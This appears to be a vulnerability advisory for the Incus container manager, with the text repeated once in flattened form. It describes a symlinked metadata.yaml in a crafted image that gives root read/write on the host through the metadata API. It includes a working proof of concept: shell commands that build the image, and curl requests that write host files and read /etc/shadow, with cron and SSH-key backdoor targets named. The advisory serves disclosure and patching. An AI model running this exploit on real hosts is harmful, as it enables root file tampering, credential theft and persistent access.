Summary
A malicious image containing a metadata.yaml symlink pointing to an arbitrary host path allows an authenticated Incus user to read or overwrite any file on the host as root via the instance metadata API. The exec-output and templates/ paths were patched in a prior release using Lstat rejection and os.OpenRoot confinement; metadata.yaml was not included in either patch and remains exploitable.
Details
Extraction — --restrict does not strip symlinks:
Unpack() in shared/archive/archive.go:168 invokes tar with --restrict --force-local. The --restrict flag prevents following symlinks outside the extraction root during extraction but does not prevent extracting symlink entries themselves. A top-level metadata.yaml -> /etc/cron.d/backdoor entry in the image tar is written to disk without error.
Read/write — no Lstat guard on metadataPath:
cmd/incusd/instance_metadata.go constructs the path as:
metadataPath := filepath.Join(inst.Path(), "metadata.yaml")
Three operations follow with no Lstat or os.OpenRoot guard:
// Line 117 — instanceMetadataGet (read)
metadataFile, err := os.Open(metadataPath)
// Line 229 — instanceMetadataGet (read)
metadataFile, err := os.Open(metadataPath)
// Line 367 — instanceMetadataPut (write)
err = os.WriteFile(metadataPath, data, 0o644)
The request body of PUT /1.0/instances/{name}/metadata is attacker-controlled and is written verbatim to the symlink target as root.
Patched siblings (not this bug):
| Path |
Patch |
Commit |
rootfs |
Lstat(!IsDir) rejection |
backend.go:840 |
exec-output |
Lstat rejection at exec endpoint |
e109655 (CVE-2026-48750) |
templates/ |
os.OpenRoot(c.Path()) |
cbefa31 (CVE-2026-48752) |
metadata.yaml |
no guard |
— |
PoC
Tested on Incus v7.2.0.
Step 1 — craft malicious image:
WORKDIR=$(mktemp -d)
# Point metadata.yaml at an arbitrary host path
ln -s /tmp/pwned $WORKDIR/metadata.yaml
mkdir -p $WORKDIR/rootfs
tar -czf /tmp/evil-image.tar.gz -C $WORKDIR metadata.yaml rootfs/
rm -rf $WORKDIR
Step 2 — verify symlink survives tar extraction:
EXTRACT=$(mktemp -d)
tar --restrict --force-local -xzf /tmp/evil-image.tar.gz -C $EXTRACT
ls -la $EXTRACT/metadata.yaml
# lrwxrwxrwx metadata.yaml -> /tmp/pwned
Step 3 — import image and create instance:
incus image import /tmp/evil-image.tar.gz --alias evil-image
incus init evil-image victim-instance
incus start victim-instance
Step 4 — arbitrary file write via PUT metadata:
curl --unix-socket /var/lib/incus/unix.socket \
-X PUT "http://incus/1.0/instances/victim-instance/metadata" \
-H "Content-Type: application/json" \
-d '{"architecture":"x86_64","creation_date":0,"expiry_date":0,"properties":{"os":"alpine"},"templates":{}}'
Expected: 400 Bad Request
Actual: 200 OK — content written to /tmp/pwned (the symlink target) as root.
Step 5 — arbitrary file read via GET metadata:
# Re-craft image with metadata.yaml -> /etc/shadow
curl --unix-socket /var/lib/incus/unix.socket \
"http://incus/1.0/instances/victim-instance/metadata"
# Returns contents of /etc/shadow
Impact
Confirmed on live Incus v7.2.0:
| Action |
Target |
Result |
| PUT /metadata |
/etc/cron.d/backdoor |
File created, uid=0 gid=0, attacker YAML written |
| PUT /metadata |
/root/.ssh/authorized_keys |
File created, uid=0 gid=0 |
| GET /metadata |
/etc/shadow |
Parse error leaks first line: root:x:... |
Write primitive: incusd (root) creates or overwrites any host file. Content is constrained to YAML-serialized ImageMetadata struct format (architecture, creation_date, properties: {key: value}, templates: {}). This directly overwrites any YAML-format config file on the host with full attacker control — kubeconfig, Ansible inventory, Terraform vars, cloud-init, Incus backup.yaml. For non-YAML targets, the file is created root-owned and corrupted, enabling denial of service against any host service.
Read primitive: incusd opens and reads the symlink target as root. Valid-YAML files (e.g., kubeconfig, internal service configs) are returned in full via 200 OK. Non-YAML files leak content via the parse error message (first line visible in the 500 response body).
This is not a container escape. The exploit operates entirely through the Incus daemon API. No privileged container, no running workload, and no kernel exploit are required. Any authenticated Incus user — including those restricted to a project — can trigger this against the host.
Summary
A malicious image containing a
metadata.yamlsymlink pointing to an arbitrary host path allows an authenticated Incus user to read or overwrite any file on the host as root via the instance metadata API. Theexec-outputandtemplates/paths were patched in a prior release usingLstatrejection andos.OpenRootconfinement;metadata.yamlwas not included in either patch and remains exploitable.Details
Extraction —
--restrictdoes not strip symlinks:Unpack()inshared/archive/archive.go:168invokes tar with--restrict --force-local. The--restrictflag prevents following symlinks outside the extraction root during extraction but does not prevent extracting symlink entries themselves. A top-levelmetadata.yaml -> /etc/cron.d/backdoorentry in the image tar is written to disk without error.Read/write — no Lstat guard on metadataPath:
cmd/incusd/instance_metadata.goconstructs the path as:Three operations follow with no
Lstatoros.OpenRootguard:The request body of
PUT /1.0/instances/{name}/metadatais attacker-controlled and is written verbatim to the symlink target as root.Patched siblings (not this bug):
rootfsLstat(!IsDir)rejectionbackend.go:840exec-outputLstatrejection at exec endpointe109655(CVE-2026-48750)templates/os.OpenRoot(c.Path())cbefa31(CVE-2026-48752)metadata.yamlPoC
Tested on Incus v7.2.0.
Step 1 — craft malicious image:
Step 2 — verify symlink survives tar extraction:
Step 3 — import image and create instance:
Step 4 — arbitrary file write via PUT metadata:
Expected:
400 Bad RequestActual:
200 OK— content written to/tmp/pwned(the symlink target) as root.Step 5 — arbitrary file read via GET metadata:
Impact
Confirmed on live Incus v7.2.0:
/etc/cron.d/backdoor/root/.ssh/authorized_keys/etc/shadowroot:x:...Write primitive:
incusd(root) creates or overwrites any host file. Content is constrained to YAML-serializedImageMetadatastruct format (architecture,creation_date,properties: {key: value},templates: {}). This directly overwrites any YAML-format config file on the host with full attacker control — kubeconfig, Ansible inventory, Terraform vars, cloud-init, Incusbackup.yaml. For non-YAML targets, the file is created root-owned and corrupted, enabling denial of service against any host service.Read primitive:
incusdopens and reads the symlink target as root. Valid-YAML files (e.g., kubeconfig, internal service configs) are returned in full via 200 OK. Non-YAML files leak content via the parse error message (first line visible in the 500 response body).This is not a container escape. The exploit operates entirely through the Incus daemon API. No privileged container, no running workload, and no kernel exploit are required. Any authenticated Incus user — including those restricted to a project — can trigger this against the host.